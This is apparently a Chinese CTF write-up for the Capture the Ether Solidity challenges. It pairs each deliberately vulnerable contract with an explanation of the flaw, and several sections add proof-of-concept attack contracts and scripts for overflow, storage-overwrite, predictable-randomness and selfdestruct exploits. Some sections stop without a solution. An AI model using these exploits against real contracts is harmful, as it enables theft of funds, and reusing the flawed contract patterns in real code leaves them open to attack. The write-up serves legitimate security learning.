Guess the number
pragma solidity ^0.4.21;
contract GuessTheNumberChallenge {
uint8 answer = 42;//答案
function GuessTheNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
uint8 answer = 42;require(msg.value == 1 ether);调用guess(42),并设置msg.value为1ether,交易成功后合约余额为0
Guess the secret number
pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;//解密
function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
}
个人思路是调用测试脚本,爆破hash值,将result然后传入guess()函数,成功完成,脚本如下
pragma solidity ^0.4.21;
contract SecretNumPoc {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
uint8 num;
function SecretNumPoc() public{
}
function guess() public payable returns(uint result){
for(num = 0;num <= 2**8 -1;num++){
if (keccak256(num) == answerHash){
return num;
}
}
}
}
Guess the random number
pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
uint8 answer;//状态变量,外部可获得
function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));//通过block.hash获取随机数
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
使用
web3.eth.getStorageAt('0x652706A63de2493CBDe712549140d9E15a89bEdf', 0,function(x,y){console.log(y)})
获取answer的值为0x44,调用guess(68),并每次转账1ether,直到合约账户为零,完成任务。
Guess the new number
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
POC
pragma solidity ^0.4.21;
interface GuessTheNewNumberChallenge {
function guess(uint8 n) external payable;
}
contract Poc {
address owner;
//构造函数,部署合约者为合约所有者
function Poc() public{
owner = msg.sender;
}
//修改器,只有hacker可以使用
modifier OnlyOwner(){
require(owner==msg.sender);
_;
}
GuessTheNewNumberChallenge newnum = GuessTheNewNumberChallenge(0x5cD5CD2AafaC18C11a63c2a40A6F61dDf411Ef7B);
//攻击
function expolit() public payable OnlyOwner{
uint8 num = uint8(keccak256(block.blockhash(block.number - 1), now));//生成随机数
newnum.guess.value(1 ether)(num);//调用被攻击合约的guess()方法
}
//提币
function withDraw() public payable OnlyOwner{
msg.sender.transfer(address(this).balance);
}
//fallback()函数
function() external payable{
}
}
先实例化被攻击合约,然后由于blockhash与now(timestamp)由矿工指定,不同交易的块hash值是相同的。在Poc合约中使用相同方法生成随机数,再将随机数传入攻击合约的guess方法newnum.guess.value(1 ether)(num);
,并转账1 ether,成功执行。
Predict the future
pragma solidity ^0.4.21;
contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;
function PredictTheFutureChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(uint8 n) public payable {
require(guesser == 0);//address未初始化的时候为零
require(msg.value == 1 ether);
guesser = msg.sender;//保存竞猜者的地址
guess = n;//设置猜测的数
settlementBlockNumber = block.number + 1;//比当前区块高度多1
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);//当前区块高度大于lockInGuess中锁定的settlementBlockNumber,需要先锁定值再进行猜测
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;//通过区块哈希产生0-9的随机数
guesser = 0;//解锁,设置竞猜者为0,进行下一次竞猜
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}
address默认为0x0,bool的默认值为false,bytes32的默认值为32字节长的0,uint默认为0。这样便可调用lockInGuess函数,先锁定一个0-9的值,然后再计算出一个值等于猜测值,再调用原合约的settle()函数进行攻击。
POC:
pragma solidity ^0.4.21;
interface PredictTheFutureChallenge {
function lockInGuess(uint8 n) external payable;
function settle() external;
}
contract PredictTheFutureChallengePoc {
uint8 guessNum;
PredictTheFutureChallenge Instance = PredictTheFutureChallenge(0x0975b7538E4B4903bA48af0F8532af1DcD541385);
//创建被攻击合约实例
function PredictTheFutureChallengePoc() public payable {
}
//设置一个数
function setNum(uint8 n) public payable {
guessNum = n;
Instance.lockInGuess.value(1 ether)(n);//调用被攻击合约
}
//猜测
function expolit() public payable returns(bool result){
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;//计算出一个0-9的随机数
if(guessNum == answer){
Instance.settle();//如果计算出的数和设置的数一样,调用被攻击合约的settle()函数
return true;
}
return false;
}
//执行猜测,使被攻击合约解锁
function reSet() public payable{
Instance.settle();
}
//提币
function withDraw() public payable{
msg.sender.transfer(address(this).balance);
}
//fallback函数
function() external payable{
}
}
Predict the block hash
pragma solidity ^0.4.21;
contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;
//构造函数
function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
//锁定猜测的hash值
function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}
//进行猜测
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
bytes32 answer = block.blockhash(settlementBlockNumber);
//settlementBlockNumber在锁定后为固定区块高度,但block.blockhash()只对最近256个区块有效,超过后其返回值为0
guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}
预测下一区块的hash值,这是不太现实的。想方法绕过其限制条件。bytes32 answer = block.blockhash(settlementBlockNumber),其answer是一个固定区块的hash值,但block.blockhash()只对最近256个区块有效,超过后其返回值为0。所以先调用lockInGuess()锁定hash值为bytes32(0),然后可以使用web3.eth.getBlockNumber(console.log)获取当前区块,与lockInGuess()锁定时的区块比较,超过256 + 1后,调用settle()进行提币。
Token sale
pragma solidity ^0.4.21;
contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;
function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}
function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);//未检查溢出情况,存在乘法溢出,在不转账的情况下,可增加账户余额。
balanceOf[msg.sender] += numTokens;
}
function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);
balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}
假设numTokens -1刚好不溢出,即(numTokens -1)*(10**18) = 2**256 -1
,则numTokens=(2**256 -1)/(10**18) + 1
,计算得出numTokens=1157920892373161954235709850086879078532699846656405640394575840079132,然后计算value:(numTokens * 10**18) % 2**256
得出value= 703600640000000000wei。调用buy()函数,传入numTokens与msg.value,即在转账很少的情况下,成功buy到numTokens数量的Tokens,造成代币增发。然后调用sell()函数,提取合约中的eth。
Token whale
pragma solidity ^0.4.21;
contract TokenWhaleChallenge {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Simple ERC20 Token";//名称
string public symbol = "SET";//Token标志
uint8 public decimals = 18;//小数位数
function TokenWhaleChallenge(address _player) public {
player = _player;
totalSupply = 1000;//总量
balanceOf[player] = 1000;//玩家余额
}
function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}
event Transfer(address indexed from, address indexed to, uint256 value);//转账时调用该事件
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;//向下溢出,增加消息调用者的代币
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
event Approval(address indexed owner, address indexed spender, uint256 value);//授权转账
function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;//将调用者余额授权value给spender
emit Approval(msg.sender, spender, value);
}
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);//from余额大于等于value
require(balanceOf[to] + value >= balanceOf[to]);//接受方余额加上value大于等于其余额
require(allowance[from][msg.sender] >= value);//授权余额大于等于value
allowance[from][msg.sender] -= value;//授权值减去value
_transfer(to, value);//消息调用者余额会减少value
}
}
在_transfer()函数中未作安全检查,balanceOf[msg.sender] -= value;//向下溢出,增加消息调用者的代币
,进一步查看代码发现调用该函数的有transfer(),transferFrom()两个函数。在transfer()中,有检查调用者余额上限;在调用transferFrom()时,只检查了from授权者的余额,未检查消息调用者的余额,当from的余额 > 参数value值 > msg.sender的余额
时,to地址为其他地址(除了player地址),balanceOf[msg.sender]下溢出,变为一个极大的值,造成代币增发。
攻击流程:
Retirement fund
pragma solidity ^0.4.21;
contract RetirementFundChallenge {
uint256 startBalance;//初始余额
address owner = msg.sender;
//状态变量在合约部署时初始化,部署后通过web3.eth.getStorageAt('0x652706A63de2493CBDe712549140d9E15a89bEdf',1,function(x,y){console.log(y)})可知为靶场地址,玩家不可调用。
address beneficiary;//受益者
uint256 expiration = now + 10 years;//10年后到期
function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);
beneficiary = player;
startBalance = msg.value;//1 ether
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
//提币
function withdraw() public {
require(msg.sender == owner);//owner可调用
if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer(address(this).balance * 9 / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}
function collectPenalty() public {
require(msg.sender == beneficiary);//玩家可调用
uint256 withdrawn = startBalance - address(this).balance;//初始余额与合约余额之差,合约余额大于1ether时会造成减法溢出
// an early withdrawal occurred
require(withdrawn > 0);
// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}
startBalance为1 ether,需要withdrawn大于零时,玩家可以提币,所以需要想办法使withdrawn大于零。startBalance不可覆盖不可改变,想法改变合约余额address(this).balance,这也很容易部署一个攻击合约,然后调用自毁selfdestruct(address),把攻击合约的余额转给指定靶场合约,address(this).balance便变大了,然后造成减法溢出,withdrawn大于0,调用collectPenalty(),成功提币。
PS:任何合约都能够实现该 selfdestruct(address) 功能,该功能从合约地址中删除所有字节码,并将所有存储在那里的 Ether 发送到参数指定的地址。如果此指定的地址也是合约,则不会调用任何函数(包括 fallback 函数)。因此,使用 selfdestruct() 函数可以无视目标合约中存在的任何代码,强制将 Ether 发送给任一目标合约,包括没有任何可支付函数的合约。这意味着,任何攻击者都 可以创建带有 selfdestruct() 函数的合约,向其发送 Ether,调用 selfdestruct(target) 并强制将 Ether 发送至 target 合约。
Mapping
pragma solidity ^0.4.21;
contract MappingChallenge {
bool public isComplete;
uint256[] map;
function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;//可溢出,但会出错
}
map[key] = value;
}
function get(uint256 key) public view returns (uint256) {
return map[key];
}
}
Donation
pragma solidity ^0.4.21;
contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;
address public owner;
function DonationChallenge() public payable {
require(msg.value == 1 ether);
owner = msg.sender;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;// scale为10**36 wei
require(msg.value == etherAmount / scale);
Donation donation;//会是一个storage的变量
donation.timestamp = now;//覆盖donations.length slot 0位
donation.etherAmount = etherAmount;//覆盖owner slot 1位
donations.push(donation);
}
function withdraw() public {
require(msg.sender == owner);//合约拥有者可调用
msg.sender.transfer(address(this).balance);
}
}
在solidity0.5.0版本前,未初始化的存储器局部变量会覆盖声明的状态变量。直接将etherAmount赋值为自己的地址0x96e8189d48EB15Cb18FF662649F8A42654A0E417,然后计算出msg.value,0x96e8189d48EB15Cb18FF662649F8A42654A0E417 / (10**36) 位,调用donate()进行覆盖后满足提币条件,然后进行withdraw()调用。
Fifty years
pragma solidity ^0.4.21;
contract FiftyYearsChallenge {
struct Contribution {
uint256 amount;
uint256 unlockTimestamp;
}
Contribution[] queue;//slot 0 为queue.lenth
uint256 head;//slot 1
address owner;//slot 2
function FiftyYearsChallenge(address player) public payable {
require(msg.value == 1 ether);
owner = player;//合约拥有者为player
queue.push(Contribution(msg.value, now + 50 years));//时间戳加50年后,加入队列
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;//合约账户余额为0时成功
}
function upsert(uint256 index, uint256 timestamp) public payable {
require(msg.sender == owner);//owner可调用
if (index >= head && index < queue.length) {//下标大于head且小于队列长度
// Update existing contribution amount without updating timestamp.
Contribution storage contribution = queue[index]; //声明storage变量,会产生覆盖
contribution.amount += msg.value;
} else {
// Append a new contribution. Require that each contribution unlock
// at least 1 day after the previous one.
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);//
contribution.amount = msg.value;//覆盖queue.length
contribution.unlockTimestamp = timestamp;//覆盖head
queue.push(contribution);//amount = queue.lenth + 1 = msg.value + 1
}
}
function withdraw(uint256 index) public {
require(msg.sender == owner);//合约拥有者可调用
require(now >= queue[index].unlockTimestamp);//到期可调用
// Withdraw this and any earlier contributions.
uint256 total = 0;
for (uint256 i = head; i <= index; i++) {//从head开始提币
total += queue[i].amount;
// Reclaim storage.
delete queue[i];
}
// Move the head of the queue forward so we don't have to loop over
// already-withdrawn contributions.
head = index + 1;
msg.sender.transfer(total);
}
}
upsert函数中timestamp是用户可控的,明显存在加法溢出,添加第一个contribution到queue[1]处时,timestamp设置为2**256 - 24*3600 = 115792089237316195423570985008687907853269984665640564039457584007913129553536,后面再添加第二个contribution时则timestamp刚好为0时。contribution.amount = msg.value
会覆盖queue.length;contribution.unlockTimestamp = timestamp
会覆盖head;每一个contribution.amount=queue.length,在执行queue.push时,queue.length会加1。
两次调用upsert,msg.value都为1wei:如果第二次msg.value为2wei的话,queue[2].amount = 3 wei ,amount之和为1ether + 2wei + 3wei ,实际合约余额address(this).balance为1ether + 1wei + 2wei;在提币的时候会出错;可以采取前面用到的selfdestruct向合约转账2wei补齐后,调用withdraw(2)。
第一次为upsert(1,115792089237316195423570985008687907853269984665640564039457584007913129553536) msg.value = 1wei
第二次为upsert(2,0) msg.value = 1wei
此时合约的balance为1ether + 2 wei;head = 0; queue.lenth = 2 ;queue[1].amount = 2。调用withdraw(1)提币。
Fuzzy identity
pragma solidity ^0.4.21;
interface IName {
function name() external view returns (bytes32);
}
contract FuzzyIdentityChallenge {
bool public isComplete;
function authenticate() public {
require(isSmarx(msg.sender));
require(isBadCode(msg.sender));
isComplete = true;
}
function isSmarx(address addr) internal view returns (bool) {
return IName(addr).name() == bytes32("smarx");//地址的name()函数返回值要为smarx
}
function isBadCode(address _addr) internal pure returns (bool) {
bytes20 addr = bytes20(_addr);//需要地址中包含badc0de串
bytes20 id = hex"000000000000000000000000000000000badc0de";
bytes20 mask = hex"000000000000000000000000000000000fffffff";
for (uint256 i = 0; i < 34; i++) {
if (addr & mask == id) {
return true;
}
mask <<= 4;
id <<= 4;
}
return false;
}
总的来说,由于合约地址由合约部署者和其Nonce 确定,这样我们就可以得到想要的智能合约地址。
POC:
来自https://www.anquanke.com/post/id/154104 const util = require('ethereumjs-util'); const rlp = require('rlp'); const generate = require('ethjs-account').generate; seed='892h@fs8sk^2hSFR*/8s8shfs.jk39hsoi@hohskd51D1Q8E1%^;DZ1-=.@WWRXNI()VF6/*Z%$C51D1QV*<>FE8RG!FI;"./+-*!DQ39hsoi@hoFE1F5^7E%&*QS'//生成地址所用的种子 function fuzz(){ for(var k=0;k<50000;k++){ seed=seed+Math.random().toString(36).substring(12);//为避免重复,生成一定数目后对种子进行更新 for(var i=0;i<1000;i++){ res=generate(seed); for (var j=0;j<10;j++){ encodedRlp = rlp.encode([res.address, j]);// 进行rlp编码 buf = util.keccak256(encodedRlp); contractAddress =buf.slice(12).toString('hex');//取buffer第12个字节后面的部分作为地址 if(contractAddress.match("badc0de")){ console.log(res);//privateKey,publicKey,address console.log(j);//nonce return; } } } } } fuzz();
POC跑出的第一个账户
{
privateKey:
'0x4f3cdf3702c104e0d41e9566a0a3edacc23e16468eca876490893c94fc5abafe',
publicKey: '0xc26f355039460f24b8821bc7ba505c0ae7d1b834372c948f3f48a26f579409220b3b56a207ef7232868d6328f2dd382bca2e161a3eda68efe83d9ae885ed03d1',
address: '0xf93F4BB94C5a66f6fAD7E8a1374369e5D65c0800'
nonce: 6}
需要交易6次直到nonce等于5,然后部署EXP合约,其nonce刚好为6。
EXP:
pragma solidity ^0.4.21; interface FuzzyIdentityChallenge{ function authenticate() external; } contract EXP { FuzzyIdentityChallenge fuzz; function expolit(){ fuzz=FuzzyIdentityChallenge(0xbC4C2857884b7B3f68Fe533f247F7d9D1670a243); fuzz.authenticate(); } function name() external view returns(bytes32){ return bytes32("smarx"); } }
调用expolit(),合约地址传入到被攻击合约中认证。
Public Key
pragma solidity ^0.4.21;
contract PublicKeyChallenge {
address owner = 0x92b28647ae1f3264661f72fb2eb9625a89d88a31;
bool public isComplete;
function authenticate(bytes publicKey) public {
require(address(keccak256(publicKey)) == owner);//输入公钥与地址相同则完成
isComplete = true;
}
}
已知地址,还原公钥,在区块浏览器中输入地址,能找到该地址的交易记录,通过交易记录可以还原公钥,使用web3.eth.getTransaction("0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb")获取交易详细内容,由于ECDSA算法可以还原公钥。
POC:
const EthereumTx = require('ethereumjs-tx').Transaction;
const util = require('ethereumjs-util');
var rawTx = {
nonce: '0x00',
gasPrice: '0x3b9aca00',
gasLimit: '0x15f90',
to: '0x6B477781b0e68031109f21887e6B5afEAaEB002b',
value: '0x00',
data: '0x5468616e6b732c206d616e21',
v: '0x29',
r: '0xa5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7',
s: '0x5710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962'
};
var tx = new EthereumTx(rawTx,{ chain: 'ropsten', hardfork: 'petersburg' });
pubkey=tx.getSenderPublicKey();
pubkeys=pubkey.toString('hex');
var address = util.keccak256(pubkey).toString('hex').slice(24);
console.log(pubkeys);
//0x613a8d23bd34f7e568ef4eb1f68058e77620e40079e88f705dfb258d7a06a1a0364dbe56cab53faf26137bec044efd0b07eec8703ba4a31c588d9d94c35c8db4
console.log(address);
Account Takeover
pragma solidity ^0.4.21;
contract AccountTakeoverChallenge {
address owner = 0x6B477781b0e68031109f21887e6B5afEAaEB002b;
bool public isComplete;
function authenticate() public {
require(msg.sender == owner);
isComplete = true;
}
}
Assume ownership
pragma solidity ^0.4.21;
contract AssumeOwnershipChallenge {
address owner;
bool public isComplete;
function AssumeOwmershipChallenge() public {
owner = msg.sender;
}
function authenticate() public {
require(msg.sender == owner);
isComplete = true;
}
}
AssumeOwnershipChallenge合约名与AssumeOwmershipChallenge()函数名并不相同,直接调用AssumeOwmershipChallenge()可成为合约owner。
Token bank
pragma solidity ^0.4.21;
interface ITokenReceiver {
function tokenFallback(address from, uint256 value, bytes data) external;
}
contract SimpleERC223Token {
// Track how many tokens are owned by each address.
mapping (address => uint256) public balanceOf;
string public name = "Simple ERC223 Token";
string public symbol = "SET";
uint8 public decimals = 18;
uint256 public totalSupply = 1000000 * (uint256(10) ** decimals);//总量
event Transfer(address indexed from, address indexed to, uint256 value);//Transfer事件
function SimpleERC223Token() public {
balanceOf[msg.sender] = totalSupply;//合约部署者余额为总量
emit Transfer(address(0), msg.sender, totalSupply);
}
//是否为合约地址
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return length > 0;
}
function transfer(address to, uint256 value) public returns (bool success) {
bytes memory empty;
return transfer(to, value, empty);
}
function transfer(address to, uint256 value, bytes data) public returns (bool) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
if (isContract(to)) {
ITokenReceiver(to).tokenFallback(msg.sender, value, data);
}
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
contract TokenBankChallenge {
SimpleERC223Token public token;
mapping(address => uint256) public balanceOf;
function TokenBankChallenge(address player) public {
token = new SimpleERC223Token();
// Divide up the 1,000,000 tokens, which are all initially assigned to
// the token contract's creator (this contract).
balanceOf[msg.sender] = 500000 * 10**18; // half for me
balanceOf[player] = 500000 * 10**18; // half for you
}
function isComplete() public view returns (bool) {
return token.balanceOf(this) == 0;
}
function tokenFallback(address from, uint256 value, bytes) public {
require(msg.sender == address(token));
require(balanceOf[from] + value >= balanceOf[from]);
balanceOf[from] += value;
}
function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);
require(token.transfer(msg.sender, amount));//重入
balanceOf[msg.sender] -= amount;
}
}